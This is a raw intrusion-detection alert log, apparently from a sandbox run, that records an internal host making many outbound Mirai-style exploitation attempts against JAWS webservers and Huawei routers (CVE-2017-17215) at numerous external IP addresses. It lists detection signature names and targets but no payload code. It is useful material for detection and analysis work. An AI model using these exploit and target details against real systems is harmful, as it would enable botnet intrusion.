                                                          2024-12-03T23:17:30.553575+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2351288155.0.32.3780TCP
                                                          2024-12-03T23:17:31.225575+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235779041.12.127.24337215TCP
                                                          2024-12-03T23:17:31.388162+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2340962118.219.237.8280TCP
                                                          2024-12-03T23:17:31.388162+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2340962118.219.237.8280TCP
                                                          2024-12-03T23:17:31.388322+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351816197.2.201.15037215TCP
                                                          2024-12-03T23:17:31.397666+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234842214.96.70.14080TCP
                                                          2024-12-03T23:17:31.397666+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234842214.96.70.14080TCP
                                                          2024-12-03T23:17:31.403827+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2345904116.190.35.8380TCP
                                                          2024-12-03T23:17:31.403827+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2345904116.190.35.8380TCP
                                                          2024-12-03T23:17:31.403866+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234030861.88.46.7480TCP
                                                          2024-12-03T23:17:31.403866+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234030861.88.46.7480TCP
                                                          2024-12-03T23:17:31.403983+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235551041.211.84.21437215TCP
                                                          2024-12-03T23:17:31.419221+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233998041.195.231.8537215TCP
                                                          2024-12-03T23:17:31.419403+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360858156.117.25.21737215TCP
                                                          2024-12-03T23:17:31.443995+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339816156.64.74.5837215TCP
                                                          2024-12-03T23:17:31.444119+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23430024.135.147.20680TCP
                                                          2024-12-03T23:17:31.444119+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23430024.135.147.20680TCP
                                                          2024-12-03T23:17:31.459713+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234607099.158.112.16080TCP
                                                          2024-12-03T23:17:31.459713+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234607099.158.112.16080TCP
                                                          2024-12-03T23:17:31.475643+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233411041.157.16.837215TCP
                                                          2024-12-03T23:17:31.475699+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234830641.36.166.23937215TCP
                                                          2024-12-03T23:17:32.294417+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339048197.4.19.20837215TCP
                                                          2024-12-03T23:17:32.294558+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350270197.83.100.14737215TCP
                                                          2024-12-03T23:17:32.294715+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338638156.106.27.4437215TCP
                                                          2024-12-03T23:17:32.309951+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338108197.96.112.13037215TCP
                                                          2024-12-03T23:17:32.325642+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347788197.118.170.16537215TCP
                                                          2024-12-03T23:17:32.325794+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2355790197.32.203.12137215TCP
                                                          2024-12-03T23:17:32.325880+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233742441.88.150.21837215TCP
                                                          2024-12-03T23:17:32.325995+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2355752156.142.214.1837215TCP
                                                          2024-12-03T23:17:32.341316+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234413241.182.102.19137215TCP
                                                          2024-12-03T23:17:32.350387+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2345992197.118.234.17137215TCP
                                                          2024-12-03T23:17:32.350580+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333856156.78.86.9637215TCP
                                                          2024-12-03T23:17:32.350762+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335070156.148.67.23737215TCP
                                                          2024-12-03T23:17:32.403894+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360300197.218.2.23637215TCP
                                                          2024-12-03T23:17:32.419362+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234610242.62.14.21280TCP
                                                          2024-12-03T23:17:32.419362+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234610242.62.14.21280TCP
                                                          2024-12-03T23:17:32.419557+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350432164.175.90.2480TCP
                                                          2024-12-03T23:17:32.419557+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350432164.175.90.2480TCP
                                                          2024-12-03T23:17:32.419730+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344816145.90.229.280TCP
                                                          2024-12-03T23:17:32.419730+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344816145.90.229.280TCP
                                                          2024-12-03T23:17:32.428592+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349890156.103.97.937215TCP
                                                          2024-12-03T23:17:32.467798+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344674149.166.136.11880TCP
                                                          2024-12-03T23:17:32.467798+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344674149.166.136.11880TCP
                                                          2024-12-03T23:17:32.467960+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358894102.3.91.11380TCP
                                                          2024-12-03T23:17:32.467960+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358894102.3.91.11380TCP
                                                          2024-12-03T23:17:32.481871+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341908197.31.92.16337215TCP
                                                          2024-12-03T23:17:32.482064+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234290641.210.87.25437215TCP
                                                          2024-12-03T23:17:32.491140+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.236019241.141.149.15437215TCP
                                                          2024-12-03T23:17:32.591273+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341844156.81.130.16937215TCP
                                                          2024-12-03T23:17:32.616158+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234880441.0.76.12337215TCP
                                                          2024-12-03T23:17:32.638102+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356580178.180.2.23380TCP
                                                          2024-12-03T23:17:32.638102+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356580178.180.2.23380TCP
                                                          2024-12-03T23:17:32.647507+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2348896156.1.78.13037215TCP
                                                          2024-12-03T23:17:32.669431+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233822444.237.70.9380TCP
                                                          2024-12-03T23:17:32.669431+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233822444.237.70.9380TCP
                                                          2024-12-03T23:17:32.669518+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348990174.18.78.2680TCP
                                                          2024-12-03T23:17:32.669518+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348990174.18.78.2680TCP
                                                          2024-12-03T23:17:32.725747+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233390418.70.152.980TCP
                                                          2024-12-03T23:17:32.725747+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233390418.70.152.980TCP
                                                          2024-12-03T23:17:33.033925+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235138441.174.163.5537215TCP
                                                          2024-12-03T23:17:33.460000+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350116135.158.121.11880TCP
                                                          2024-12-03T23:17:33.460000+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350116135.158.121.11880TCP
                                                          2024-12-03T23:17:33.553709+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354528124.134.142.5380TCP
                                                          2024-12-03T23:17:33.553709+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354528124.134.142.5380TCP
                                                          2024-12-03T23:17:33.553835+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352164176.83.134.180TCP
                                                          2024-12-03T23:17:33.553835+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352164176.83.134.180TCP
                                                          2024-12-03T23:17:33.575815+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347744125.90.53.20980TCP
                                                          2024-12-03T23:17:33.575815+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347744125.90.53.20980TCP
                                                          2024-12-03T23:17:33.616125+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346984176.226.179.8280TCP
                                                          2024-12-03T23:17:33.616125+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346984176.226.179.8280TCP
                                                          2024-12-03T23:17:33.616286+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233954045.33.194.21980TCP
                                                          2024-12-03T23:17:33.616286+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233954045.33.194.21980TCP
                                                          2024-12-03T23:17:33.616348+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233306035.0.129.17880TCP
                                                          2024-12-03T23:17:33.616348+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233306035.0.129.17880TCP
                                                          2024-12-03T23:17:33.638119+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235194041.247.200.3437215TCP
                                                          2024-12-03T23:17:34.435105+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349144197.102.170.5537215TCP
                                                          2024-12-03T23:17:34.450649+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342486156.121.154.9837215TCP
                                                          2024-12-03T23:17:34.450805+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353360197.234.135.8937215TCP
                                                          2024-12-03T23:17:34.466416+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352090156.7.104.9937215TCP
                                                          2024-12-03T23:17:34.466579+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357866197.89.1.14037215TCP
                                                          2024-12-03T23:17:34.466598+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334398197.190.196.25137215TCP
                                                          2024-12-03T23:17:34.466658+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233510041.178.160.9637215TCP
                                                          2024-12-03T23:17:34.466824+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234755841.205.129.12637215TCP
                                                          2024-12-03T23:17:34.466904+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234610041.229.226.15337215TCP
                                                          2024-12-03T23:17:34.467082+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350748197.140.34.1037215TCP
                                                          2024-12-03T23:17:34.467252+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352378197.90.112.20337215TCP
                                                          2024-12-03T23:17:34.467316+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343460197.39.189.25537215TCP
                                                          2024-12-03T23:17:34.467444+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233926041.62.249.23937215TCP
                                                          2024-12-03T23:17:34.475498+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2340776197.201.118.7137215TCP
                                                          2024-12-03T23:17:34.475653+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342588156.130.110.10437215TCP
                                                          2024-12-03T23:17:34.475797+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234409441.221.212.13137215TCP
                                                          2024-12-03T23:17:34.475855+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360762156.162.10.5337215TCP
                                                          2024-12-03T23:17:34.475979+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234462041.225.98.20837215TCP
                                                          2024-12-03T23:17:34.476112+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234089641.130.85.5437215TCP
                                                          2024-12-03T23:17:34.476184+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234136841.86.143.19137215TCP
                                                          2024-12-03T23:17:34.491316+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342442197.3.161.13637215TCP
                                                          2024-12-03T23:17:34.497622+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235119041.92.234.20637215TCP
                                                          2024-12-03T23:17:34.497842+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234231041.171.83.19037215TCP
                                                          2024-12-03T23:17:34.498007+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234048641.231.176.2537215TCP
                                                          2024-12-03T23:17:34.498282+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2336286197.216.35.6537215TCP
                                                          2024-12-03T23:17:34.506936+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353272156.5.208.20137215TCP
                                                          2024-12-03T23:17:34.507084+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2345358156.183.168.15937215TCP
                                                          2024-12-03T23:17:34.507239+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234255041.221.178.20037215TCP
                                                          2024-12-03T23:17:34.507382+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335558197.134.240.21437215TCP
                                                          2024-12-03T23:17:34.507501+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335340197.109.55.1937215TCP
                                                          2024-12-03T23:17:34.507720+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343570156.150.79.19937215TCP
                                                          2024-12-03T23:17:34.522420+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344556156.94.29.21337215TCP
                                                          2024-12-03T23:17:34.522734+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2337256197.122.214.22537215TCP
                                                          2024-12-03T23:17:34.522801+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2358866197.193.126.16037215TCP
                                                          2024-12-03T23:17:34.522917+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233536641.96.185.11937215TCP
                                                          2024-12-03T23:17:34.523040+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234170241.240.42.6037215TCP
                                                          2024-12-03T23:17:34.523173+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234094041.180.86.19837215TCP
                                                          2024-12-03T23:17:34.538384+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2340228197.228.192.4937215TCP
                                                          2024-12-03T23:17:34.538407+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339426197.65.245.16737215TCP
                                                          2024-12-03T23:17:34.538408+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350134197.148.5.2637215TCP
                                                          2024-12-03T23:17:34.544583+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234662423.157.14.22980TCP
                                                          2024-12-03T23:17:34.544583+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234662423.157.14.22980TCP
                                                          2024-12-03T23:17:34.553651+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233848241.25.33.9137215TCP
                                                          2024-12-03T23:17:34.575994+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344910150.12.89.13680TCP
                                                          2024-12-03T23:17:34.575994+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344910150.12.89.13680TCP
                                                          2024-12-03T23:17:34.576043+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359030103.226.21.9680TCP
                                                          2024-12-03T23:17:34.576043+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359030103.226.21.9680TCP
                                                          2024-12-03T23:17:34.576159+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.236078235.104.240.15280TCP
                                                          2024-12-03T23:17:34.576159+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.236078235.104.240.15280TCP
                                                          2024-12-03T23:17:34.585158+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349098171.23.157.13980TCP
                                                          2024-12-03T23:17:34.585158+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349098171.23.157.13980TCP
                                                          2024-12-03T23:17:34.591304+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349116222.209.238.5080TCP
                                                          2024-12-03T23:17:34.591304+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349116222.209.238.5080TCP
                                                          2024-12-03T23:17:34.600662+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234887498.200.12.12080TCP
                                                          2024-12-03T23:17:34.600662+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234887498.200.12.12080TCP
                                                          2024-12-03T23:17:34.600748+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234188095.218.225.12580TCP
                                                          2024-12-03T23:17:34.600748+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234188095.218.225.12580TCP
                                                          2024-12-03T23:17:34.606959+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339236183.53.140.22180TCP
                                                          2024-12-03T23:17:34.606959+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339236183.53.140.22180TCP
                                                          2024-12-03T23:17:34.616178+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235148689.162.172.5380TCP
                                                          2024-12-03T23:17:34.616178+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235148689.162.172.5380TCP
                                                          2024-12-03T23:17:34.616305+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348792179.13.30.25380TCP
                                                          2024-12-03T23:17:34.616305+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348792179.13.30.25380TCP
                                                          2024-12-03T23:17:34.632152+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356932117.176.161.9080TCP
                                                          2024-12-03T23:17:34.632152+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356932117.176.161.9080TCP
                                                          2024-12-03T23:17:34.794662+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341002158.219.141.2980TCP
                                                          2024-12-03T23:17:34.794662+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341002158.219.141.2980TCP
                                                          2024-12-03T23:17:34.825514+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347340185.169.197.2880TCP
                                                          2024-12-03T23:17:34.825514+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347340185.169.197.2880TCP
                                                          2024-12-03T23:17:34.835561+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352876207.63.218.14680TCP
                                                          2024-12-03T23:17:34.835561+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352876207.63.218.14680TCP
                                                          2024-12-03T23:17:34.841339+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2351086164.137.181.10980TCP
                                                          2024-12-03T23:17:34.841339+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2351086164.137.181.10980TCP
                                                          2024-12-03T23:17:35.685173+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338434211.242.92.6980TCP
                                                          2024-12-03T23:17:35.685173+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338434211.242.92.6980TCP
                                                          2024-12-03T23:17:35.685174+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234808460.123.91.20180TCP
                                                          2024-12-03T23:17:35.685174+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234808460.123.91.20180TCP
                                                          2024-12-03T23:17:35.700729+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339936174.144.72.17180TCP
                                                          2024-12-03T23:17:35.700729+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339936174.144.72.17180TCP
                                                          2024-12-03T23:17:35.727959+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234618254.45.67.14780TCP
                                                          2024-12-03T23:17:35.727959+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234618254.45.67.14780TCP
                                                          2024-12-03T23:17:35.728161+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352836115.97.85.7180TCP
                                                          2024-12-03T23:17:35.728161+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352836115.97.85.7180TCP
                                                          2024-12-03T23:17:35.763379+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355816221.229.136.23280TCP
                                                          2024-12-03T23:17:35.763379+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355816221.229.136.23280TCP
                                                          2024-12-03T23:17:35.772598+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336796163.235.157.15380TCP
                                                          2024-12-03T23:17:35.772598+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336796163.235.157.15380TCP
                                                          2024-12-03T23:17:35.773006+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234977069.131.169.15380TCP
                                                          2024-12-03T23:17:35.773006+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234977069.131.169.15380TCP
                                                          2024-12-03T23:17:35.773205+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339582195.28.21.2080TCP
                                                          2024-12-03T23:17:35.773205+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339582195.28.21.2080TCP
                                                          2024-12-03T23:17:36.056910+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339468156.241.184.10137215TCP
                                                          2024-12-03T23:17:36.142514+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23504404.151.10.12580TCP
                                                          2024-12-03T23:17:36.142514+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23504404.151.10.12580TCP
                                                          2024-12-03T23:17:36.178748+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339506105.52.78.25180TCP
                                                          2024-12-03T23:17:36.178748+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339506105.52.78.25180TCP
                                                          2024-12-03T23:17:36.763475+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233573295.238.79.24380TCP
                                                          2024-12-03T23:17:36.763475+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233573295.238.79.24380TCP
                                                          2024-12-03T23:17:36.763504+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346152141.147.242.16780TCP
                                                          2024-12-03T23:17:36.763504+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346152141.147.242.16780TCP
                                                          2024-12-03T23:17:36.772763+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338652100.152.35.9580TCP
                                                          2024-12-03T23:17:36.772763+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338652100.152.35.9580TCP
                                                          2024-12-03T23:17:36.772768+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343918205.65.235.8380TCP
                                                          2024-12-03T23:17:36.772768+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343918205.65.235.8380TCP
                                                          2024-12-03T23:17:36.772847+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343474173.48.55.17080TCP
                                                          2024-12-03T23:17:36.772847+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343474173.48.55.17080TCP
                                                          2024-12-03T23:17:36.772956+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360448126.194.205.7580TCP
                                                          2024-12-03T23:17:36.772956+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360448126.194.205.7580TCP
                                                          2024-12-03T23:17:36.773068+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233435850.161.43.5580TCP
                                                          2024-12-03T23:17:36.773068+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233435850.161.43.5580TCP
                                                          2024-12-03T23:17:36.778797+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2337094121.234.2.6780TCP
                                                          2024-12-03T23:17:36.778797+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2337094121.234.2.6780TCP
                                                          2024-12-03T23:17:36.778907+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356256170.168.126.3680TCP
                                                          2024-12-03T23:17:36.778907+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356256170.168.126.3680TCP
                                                          2024-12-03T23:17:36.788055+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2332774164.19.146.17880TCP
                                                          2024-12-03T23:17:36.788055+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2332774164.19.146.17880TCP
